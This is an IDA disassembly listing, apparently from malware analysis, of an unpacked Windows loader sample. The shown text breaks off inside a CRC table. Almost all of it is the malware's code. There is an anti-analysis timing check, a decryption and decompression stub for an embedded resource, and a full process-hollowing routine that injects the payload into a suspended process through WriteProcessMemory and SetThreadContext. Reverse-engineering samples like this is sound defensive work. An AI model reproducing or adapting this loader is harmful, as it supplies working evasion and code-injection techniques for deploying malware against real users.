; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5F8FC767896833F084B3F1B38D4CC9F1 ; --------------------------------------------------------------------------- ; File Name : u:\work\5f8fc767896833f084b3f1b38d4cc9f1_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 10000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 10001000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_10001000: ; DATA XREF: _3a14gzkz:1001E15Co call sub_1000101C call sub_10001072 push dword_1000372C call sub_10001202 push 0 call sub_1000144A ; =============== S U B R O U T I N E ======================================= sub_1000101C proc near ; CODE XREF: .text:loc_10001000p call sub_10001462 ; GetTickCount mov dword_10003774, eax push 64h call sub_1000148C ; Sleep call sub_10001462 ; GetTickCount mov dword_10003778, eax push 64h call sub_1000148C ; Sleep call sub_10001462 ; GetTickCount mov dword_1000377C, eax mov eax, dword_10003774 mov ebx, dword_10003778 sub ebx, eax mov ecx, dword_1000377C sub ecx, eax cmp ebx, 64h jnb short locret_10001071 cmp ecx, 0C8h jnb short locret_10001071 push 0 call sub_1000144A locret_10001071: ; CODE XREF: sub_1000101C+44j ; sub_1000101C+4Cj retn sub_1000101C endp ; =============== S U B R O U T I N E ======================================= sub_10001072 proc near ; CODE XREF: .text:10001005p push 0Ah push 7 push 0 call sub_10001450 ; FindResourceA mov dword_10003720, eax push eax push 0 call sub_10001468 ; LoadResource mov dword_10003724, eax push dword_10003720 push 0 call sub_10001486 ; SizeofResource mov dword_10003730, eax push dword_10003724 call sub_1000146E ; LockResource mov dword_10003728, eax mov ecx, dword_10003730 mov edi, dword_10003728 jmp short loc_100010C8 ; --------------------------------------------------------------------------- loc_100010BF: ; CODE XREF: sub_10001072+58j dec ecx rol byte ptr [ecx+edi], 55h xor byte ptr [ecx+edi], 24h loc_100010C8: ; CODE XREF: sub_10001072+4Bj or ecx, ecx jnz short loc_100010BF push dword_10003728 call sub_100014B0 add esp, 4 mov dword_10003734, eax push 4 push 1000h push dword_10003734 push 0 call sub_10001492 ; VirtualAlloc mov dword_1000372C, eax push dword_10003734 push dword_1000372C push dword_10003730 push dword_10003728 call sub_100014E0 add esp, 10h retn sub_10001072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001119 proc near ; CODE XREF: sub_10001202+A9p ; sub_10001202+10Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx mov eax, [ebp+arg_0] div [ebp+arg_4] or edx, edx jnz short loc_1000112D mov eax, [ebp+arg_0] jmp short locret_1000113C ; --------------------------------------------------------------------------- loc_1000112D: ; CODE XREF: sub_10001119+Dj mov edx, 0 mov eax, [ebp+arg_0] div [ebp+arg_4] inc eax mul [ebp+arg_4] locret_1000113C: ; CODE XREF: sub_10001119+12j leave retn 8 sub_10001119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001140 proc near ; CODE XREF: sub_10001202+12p arg_0 = dword ptr 8 push ebp mov ebp, esp mov esi, [ebp+arg_0] add esi, [esi+3Ch] mov dword_10003738, esi mov eax, [esi+38h] mov dword_1000373C, eax movzx eax, word ptr [esi+6] mov dword_10003740, eax movzx ecx, word ptr [esi+14h] add ecx, 18h add esi, ecx mov dword_10003744, esi mov esi, dword_10003738 xor edx, edx mov eax, [esi+54h] div dword_1000373C or edx, edx jnz short loc_1000118E mov eax, [esi+54h] mov dword_10003770, eax jmp short loc_100011A6 ; --------------------------------------------------------------------------- loc_1000118E: ; CODE XREF: sub_10001140+42j xor edx, edx mov eax, [esi+54h] div dword_1000373C inc eax mul dword_1000373C add dword_10003770, eax loc_100011A6: ; CODE XREF: sub_10001140+4Cj mov ecx, 0 mov edi, dword_10003744 loc_100011B1: ; CODE XREF: sub_10001140+B7j cmp ecx, dword_10003740 jz short loc_100011F9 push ecx cmp dword ptr [edi+8], 0 jz short loc_100011F2 xor edx, edx mov eax, [edi+8] div dword_1000373C or edx, edx jnz short loc_100011DA mov eax, [edi+8] add dword_10003770, eax jmp short loc_100011F2 ; --------------------------------------------------------------------------- loc_100011DA: ; CODE XREF: sub_10001140+8Dj xor edx, edx mov eax, [edi+8] div dword_1000373C inc eax mul dword_1000373C add dword_10003770, eax loc_100011F2: ; CODE XREF: sub_10001140+7Ej ; sub_10001140+98j pop ecx inc ecx add edi, 28h jmp short loc_100011B1 ; --------------------------------------------------------------------------- loc_100011F9: ; CODE XREF: sub_10001140+77j mov eax, dword_10003770 leave retn 4 sub_10001140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001202 proc near ; CODE XREF: .text:10001010p arg_0 = dword ptr 8 push ebp mov ebp, esp mov esi, [ebp+arg_0] add esi, [esi+3Ch] mov dword_10003748, esi push [ebp+arg_0] call sub_10001140 mov dword_10003754, eax push 4 push 1000h push dword_10003754 push 0 call sub_10001492 ; VirtualAlloc mov dword_10003758, eax mov eax, dword_10003758 mov dword_1000375C, eax mov esi, dword_10003748 mov eax, [esi+54h] mov dword_10003760, eax movzx ecx, word ptr [esi+14h] add ecx, 18h add esi, ecx mov dword_10003764, esi mov esi, dword_10003744 mov edi, dword_10003738 mov ecx, 0 mov ebx, dword_10003760 loc_10001275: ; CODE XREF: sub_10001202+8Cj cmp ecx, dword_10003740 jz short loc_10001290 cmp [esi+14h], ebx jnb short loc_1000128A mov eax, [esi+14h] mov dword_10003760, eax loc_1000128A: ; CODE XREF: sub_10001202+7Ej inc ecx add esi, 28h jmp short loc_10001275 ; --------------------------------------------------------------------------- loc_10001290: ; CODE XREF: sub_10001202+79j push edi mov edi, dword_1000375C mov esi, [ebp+arg_0] mov ecx, dword_10003760 rep movsb pop edi mov eax, [edi+54h] mov ebx, [edi+38h] push ebx push eax call sub_10001119 add dword_1000375C, eax mov ecx, 0 mov esi, dword_10003744 mov edi, dword_10003738 loc_100012C7: ; CODE XREF: sub_10001202+136j cmp ecx, dword_10003740 jz short loc_1000133A push ecx cmp dword ptr [esi+10h], 0 jbe short loc_1000131A mov eax, [esi+10h] mov dword_10003768, eax cmp eax, [esi+8] jbe short loc_100012EB mov eax, [esi+8] mov dword_10003768, eax loc_100012EB: ; CODE XREF: sub_10001202+DFj mov eax, [esi+14h] add eax, [ebp+arg_0] push edi push esi mov edi, dword_1000375C mov esi, eax mov ecx, dword_10003768 rep movsb pop esi pop edi mov eax, [esi+8] mov ebx, [edi+38h] push ebx push eax call sub_10001119 add dword_1000375C, eax jmp short loc_10001333 ; --------------------------------------------------------------------------- loc_1000131A: ; CODE XREF: sub_10001202+D2j cmp dword ptr [esi+8], 0 jz short loc_10001333 mov eax, [esi+8] mov ebx, [edi+38h] push ebx push eax call sub_10001119 add dword_1000375C, eax loc_10001333: ; CODE XREF: sub_10001202+116j ; sub_10001202+11Cj pop ecx inc ecx add esi, 28h jmp short loc_100012C7 ; --------------------------------------------------------------------------- loc_1000133A: ; CODE XREF: sub_10001202+CBj push 78h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call sub_10001456 ; GetModuleFileNameA push offset dword_10003044 push offset dword_10003000 push 0 push 0 push 4 push 0 push 0 push 0 push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call sub_10001444 ; CreateProcessA mov dword_10003054, 10007h push offset dword_10003054 push dword_10003048 call sub_1000145C ; GetThreadContext mov ebx, dword_100030F8 add ebx, 8 push 0 push 4 push offset dword_1000376C push ebx push dword_10003044 call sub_10001474 ; ReadProcessMemory push 40h push 3000h push dword_10003754 push dword ptr [edi+34h] push dword_10003044 call sub_10001498 ; VirtualAllocEx push 0 push dword_10003754 push dword_10003758 push dword ptr [edi+34h] push dword_10003044 call sub_100014A4 ; WriteProcessMemory mov ebx, dword_100030F8 add ebx, 8 push 0 push 4 lea eax, [edi+34h] push eax push ebx push dword_10003044 call sub_100014A4 ; WriteProcessMemory mov eax, [edi+34h] add eax, [edi+28h] mov dword_10003104, eax push offset dword_10003054 push dword_10003048 call sub_10001480 ; SetThreadContext push dword_10003048 call sub_1000147A ; ResumeThread push 8000h push 0 push dword_1000372C call sub_1000149E ; VirtualFree push 8000h push 0 push dword_10003758 call sub_1000149E ; VirtualFree leave retn 4 sub_10001202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001444 proc near ; CODE XREF: sub_10001202+163p jmp ds:dword_10002000 sub_10001444 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000144A proc near ; CODE XREF: .text:10001017p ; sub_1000101C+50p jmp ds:off_10002004 sub_1000144A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001450 proc near ; CODE XREF: sub_10001072+6p jmp ds:dword_10002008 sub_10001450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001456 proc near ; CODE XREF: sub_10001202+141p jmp ds:dword_1000200C sub_10001456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000145C proc near ; CODE XREF: sub_10001202+17Dp jmp ds:dword_10002010 sub_1000145C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001462 proc near ; CODE XREF: sub_1000101Cp ; sub_1000101C+11p ... jmp ds:dword_10002014 sub_10001462 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001468 proc near ; CODE XREF: sub_10001072+13p jmp ds:dword_10002018 sub_10001468 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000146E proc near ; CODE XREF: sub_10001072+35p jmp ds:dword_1000201C sub_1000146E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001474 proc near ; CODE XREF: sub_10001202+19Bp jmp ds:dword_10002020 sub_10001474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000147A proc near ; CODE XREF: sub_10001202+215p jmp ds:dword_10002024 sub_1000147A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001480 proc near ; CODE XREF: sub_10001202+20Ap jmp ds:dword_10002028 sub_10001480 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001486 proc near ; CODE XREF: sub_10001072+25p jmp ds:dword_1000202C sub_10001486 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000148C proc near ; CODE XREF: sub_1000101C+Cp ; sub_1000101C+1Dp jmp ds:dword_10002030 sub_1000148C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001492 proc near ; CODE XREF: sub_10001072+7Cp ; sub_10001202+2Bp jmp ds:dword_10002034 sub_10001492 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10001498 proc near ; CODE XREF: sub_10001202+1B6p jmp ds:dword_10002038 sub_10001498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000149E proc near ; CODE XREF: sub_10001202+227p ; sub_10001202+239p jmp ds:dword_1000203C sub_1000149E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100014A4 proc near ; CODE XREF: sub_10001202+1D2p ; sub_10001202+1EFp jmp ds:dword_10002040 sub_100014A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100014B0 proc near ; CODE XREF: sub_10001072+60p var_4 = dword ptr -4 arg_0 = dword ptr 4 pusha mov esi, [esp+20h+arg_0] mov ebx, [esi] or eax, 0FFFFFFFFh cmp ebx, 32335041h jnz short loc_100014CD mov ebx, [esi+4] cmp ebx, 18h jb short loc_100014CD mov eax, [esi+10h] loc_100014CD: ; CODE XREF: sub_100014B0+10j ; sub_100014B0+18j mov [esp+20h+var_4], eax popa retn sub_100014B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100014E0 proc near ; CODE XREF: sub_10001072+9Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h pusha mov esi, [esp+20h+arg_0] mov ecx, [esp+20h+arg_4] mov edi, [esp+20h+arg_8] test esi, esi jz short loc_10001557 test edi, edi jz short loc_10001557 cmp ecx, 18h jb short loc_10001557 mov ebx, [esi] cmp ebx, 32335041h jnz short loc_10001557 mov ebx, [esi+4] cmp ebx, 18h jb short loc_10001557 sub ecx, ebx jb short loc_10001557 cmp [esi+8], ecx ja short loc_10001557 add ebx, esi push dword ptr [esi+8] push ebx call sub_10001840 add esp, 8 cmp eax, [esi+0Ch] jnz short loc_10001557 mov ecx, [esp+20h+arg_C] cmp [esi+10h], ecx ja short loc_10001557 push ecx push edi push dword ptr [esi+8] push ebx call sub_10001560 add esp, 10h cmp eax, [esi+10h] jnz short loc_10001557 mov ebx, eax push eax push edi call sub_10001840 add esp, 8 cmp eax, [esi+14h] mov eax, ebx jz short loc_1000155A loc_10001557: ; CODE XREF: sub_100014E0+Fj ; sub_100014E0+13j ... or eax, 0FFFFFFFFh loc_1000155A: ; CODE XREF: sub_100014E0+75j mov [esp+20h+var_4], eax popa retn sub_100014E0 endp ; =============== S U B R O U T I N E ======================================= sub_10001560 proc near ; CODE XREF: sub_100014E0+57p var_28 = dword ptr -28h var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h pusha mov esi, [esp+20h+arg_0] mov eax, [esp+20h+arg_4] mov edi, [esp+20h+arg_8] mov ecx, [esp+20h+arg_C] push eax push ecx test esi, esi jz loc_10001826 test edi, edi jz loc_10001826 cld xor edx, edx loc_10001586: ; CODE XREF: sub_10001560:loc_100015C0j sub [esp+28h+var_24], 1 jb loc_10001826 mov al, [esi] add esi, 1 sub [esp+28h+var_28], 1 jb loc_10001826 mov [edi], al add edi, 1 mov ebx, 2 loc_100015AA: ; CODE XREF: sub_10001560+129j ; sub_10001560+1D4j ... add dl, dl jnz short loc_100015C0 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100015C0: ; CODE XREF: sub_10001560+4Cj jnb short loc_10001586 add dl, dl jnz short loc_100015D8 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100015D8: ; CODE XREF: sub_10001560+64j jnb loc_1000168E xor eax, eax add dl, dl jnz short loc_100015F6 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100015F6: ; CODE XREF: sub_10001560+82j jnb loc_100017DB add dl, dl jnz short loc_10001612 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_10001612: ; CODE XREF: sub_10001560+9Ej adc eax, eax add dl, dl jnz short loc_1000162A sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_1000162A: ; CODE XREF: sub_10001560+B6j adc eax, eax add dl, dl jnz short loc_10001642 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_10001642: ; CODE XREF: sub_10001560+CEj adc eax, eax add dl, dl jnz short loc_1000165A sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_1000165A: ; CODE XREF: sub_10001560+E6j adc eax, eax jz loc_10001677 mov ebx, [esp+28h+arg_C] sub ebx, [esp+28h+var_28] cmp eax, ebx ja loc_10001826 mov ebx, edi sub ebx, eax mov al, [ebx] loc_10001677: ; CODE XREF: sub_10001560+FCj sub [esp+28h+var_28], 1 jb loc_10001826 mov [edi], al inc edi mov ebx, 2 jmp loc_100015AA ; --------------------------------------------------------------------------- loc_1000168E: ; CODE XREF: sub_10001560:loc_100015D8j mov eax, 1 loc_10001693: ; CODE XREF: sub_10001560:loc_100016C7j add dl, dl jnz short loc_100016A9 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100016A9: ; CODE XREF: sub_10001560+135j adc eax, eax jb loc_10001826 add dl, dl jnz short loc_100016C7 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100016C7: ; CODE XREF: sub_10001560+153j jb short loc_10001693 sub eax, ebx mov ebx, 1 jnz loc_10001739 mov ecx, 1 loc_100016DB: ; CODE XREF: sub_10001560:loc_1000170Fj add dl, dl jnz short loc_100016F1 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_100016F1: ; CODE XREF: sub_10001560+17Dj adc ecx, ecx jb loc_10001826 add dl, dl jnz short loc_1000170F sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_1000170F: ; CODE XREF: sub_10001560+19Bj jb short loc_100016DB push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp ebp, ecx pop ecx ja loc_10001826 sub [esp+28h+var_28], ecx jb loc_10001826 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_100015AA ; --------------------------------------------------------------------------- loc_10001739: ; CODE XREF: sub_10001560+170j dec eax test eax, 0FF000000h jnz loc_10001826 shl eax, 8 sub [esp+28h+var_24], 1 jb loc_10001826 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_1000175D: ; CODE XREF: sub_10001560:loc_10001791j add dl, dl jnz short loc_10001773 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_10001773: ; CODE XREF: sub_10001560+1FFj adc ecx, ecx jb loc_10001826 add dl, dl jnz short loc_10001791 sub [esp+28h+var_24], 1 jb loc_10001826 mov dl, [esi] inc esi add dl, dl inc dl loc_10001791: ; CODE XREF: sub_10001560+21Dj jb short loc_1000175D cmp eax, 7D00h sbb ecx, 0FFFFFFFFh cmp eax, 500h sbb ecx, 0FFFFFFFFh cmp eax, 80h adc ecx, 0 cmp eax, 80h adc ecx, 0 push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp eax, ecx pop ecx ja loc_10001826 sub [esp+28h+var_28], ecx jb loc_10001826 push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_100015AA ; --------------------------------------------------------------------------- loc_100017DB: ; CODE XREF: sub_10001560:loc_100015F6j sub [esp+28h+var_24], 1 jb loc_10001826 mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_1000182E adc ecx, 2 mov ebp, eax push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp eax, ecx pop ecx ja loc_10001826 sub [esp+28h+var_28], ecx jb loc_10001826 push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_100015AA ; --------------------------------------------------------------------------- loc_10001826: ; CODE XREF: sub_10001560+15j ; sub_10001560+1Dj ... add esp, 8 popa or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_1000182E: ; CODE XREF: sub_10001560+28Ej add esp, 8 sub edi, [esp+20h+arg_8] mov [esp+20h+var_4], edi popa retn sub_10001560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001840 proc near ; CODE XREF: sub_100014E0+3Bp ; sub_100014E0+68p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov ecx, [esp+20h+arg_4] mov edi, offset dword_10003320 sub eax, eax test esi, esi jz loc_10001920 sub eax, 1 test ecx, ecx jz loc_1000191E loc_10001863: ; CODE XREF: sub_10001840+3Cj test esi, 3 jz short loc_1000187E xor al, [esi] inc esi mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz short loc_10001863 loc_1000187E: ; CODE XREF: sub_10001840+29j mov edx, ecx and edx, 7 shr ecx, 3 jz loc_10001905 loc_1000188C: ; CODE XREF: sub_10001840+BFj xor eax, [esi] add esi, 4 mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] xor eax, [esi] add esi, 4 mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz loc_1000188C loc_10001905: ; CODE XREF: sub_10001840+46j mov ecx, edx test ecx, ecx jz short loc_1000191E loc_1000190B: ; CODE XREF: sub_10001840+DCj xor al, [esi] inc esi mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz short loc_1000190B loc_1000191E: ; CODE XREF: sub_10001840+1Dj ; sub_10001840+C9j not eax loc_10001920: ; CODE XREF: sub_10001840+12j mov [esp+20h+var_4], eax popa retn sub_10001840 endp ; --------------------------------------------------------------------------- align 800h _text ends ; Section 2. (virtual address 00002000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00002000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute vyridizn segment para public 'CODE' use32 assume cs:vyridizn ;org 10002000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_10002000 dd 77E61BB8h ; DATA XREF: sub_10001444r ; an.kk9rg:100149AFr ... off_10002004 dd offset sub_1001AE1D ; DATA XREF: sub_1000144Ar dword_10002008 dd 77E6CA8Ah ; DATA XREF: sub_10001450r ; an.kk9rg:1001402Ar ... dword_1000200C dd 77E7A099h ; DATA XREF: sub_10001456r ; sub_10016532:loc_1001479Bw ... dword_10002010 dd 77E97F16h ; DATA XREF: sub_1000145Cr ; an.kk9rg:10013714r dword_10002014 dd 77E7751Ah ; DATA XREF: sub_10001462r ; an.kk9rg:100168D9r ... dword_10002018 dd 77E760B5h ; DATA XREF: sub_10001468r ; an.kk9rg:100177E4r ... dword_1000201C dd 77E7C931h ; DATA XREF: sub_1000146Er ; an.kk9rg:10016606r dword_10002020 dd 77E61A54h ; DATA XREF: sub_10001474r ; an.kk9rg:10013117w ... dword_10002024 dd 77E6E154h ; DATA XREF: sub_1000147Ar ; an.kk9rg:10019D70r ... dword_10002028 dd 77EB9953h ; DATA XREF: sub_10001480r ; an.kk9rg:10014A36w ... dword_1000202C dd 77E7105Fh ; DATA XREF: sub_10001486r ; an.kk9rg:10013023w ... dword_10002030 dd 77E61BE6h ; DATA XREF: sub_1000148Cr ; an.kk9rg:10016A84w ... dword_10002034 dd 77E7980Ah ; DATA XREF: sub_10001492r ; an.kk9rg:10017253r dword_10002038 dd 77E79824h ; DATA XREF: sub_10001498r ; an.kk9rg:10019A08r ... dword_1000203C dd 77E79E34h ; DATA XREF: sub_1000149Er ; sub_1001DBEB-5021w ... dword_10002040 dd 77E61A90h ; DATA XREF: sub_100014A4r ; an.kk9rg:10015B81w ... align 1000h vyridizn ends ; Section 3. (virtual address 00003000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00003000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 10003000h dword_10003000 dd 11h dup(0) ; DATA XREF: sub_10001202+14Bo dword_10003044 dd 48h ; DATA XREF: sub_10001202+146o ; sub_10001202+195r ... dword_10003048 dd 4Ch ; DATA XREF: sub_10001202+177r ; sub_10001202+204r ... dd 380h, 384h dword_10003054 dd 10007h ; DATA XREF: sub_10001202+168w ; sub_10001202+172o ... dd 0 dd 0E17D2998h, 0E17D4098h, 810C4D91h, 0F83485F0h, 805727DEh dd 0E17D2980h, 0E17D4098h, 1F03FFh, 0F8348680h, 1, 4Ch dd 0F8348644h, 8057316Fh, 0E17D2980h, 0 dd 8139D9F0h, 2 dup(0) dd 813CECD0h, 813CEC68h, 0F8348628h, 80577591h, 0E13E5528h dd 0E10A8C00h, 810C4D90h, 1F03FFh, 80577FA7h, 810C4DA8h dd 0 dd 813CEC68h, 810C4D90h, 0F83486A8h, 0E13E5568h, 0 dd 38h, 2 dup(23h), 24208Ch, 2Ch dword_100030F8 dd 7FFDF000h ; DATA XREF: sub_10001202+182r ; sub_10001202+1D7r align 10h dd 77CC02E0h dword_10003104 dd 4167F1h ; DATA XREF: sub_10001202+1FAw dd 0 aAicw db 'Aëçw',1Bh,0 align 4 dd 200h, 12FFFCh, 23h, 80h dup(0) dword_10003320 dd 0 ; DATA XREF: sub_10001840+9o dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 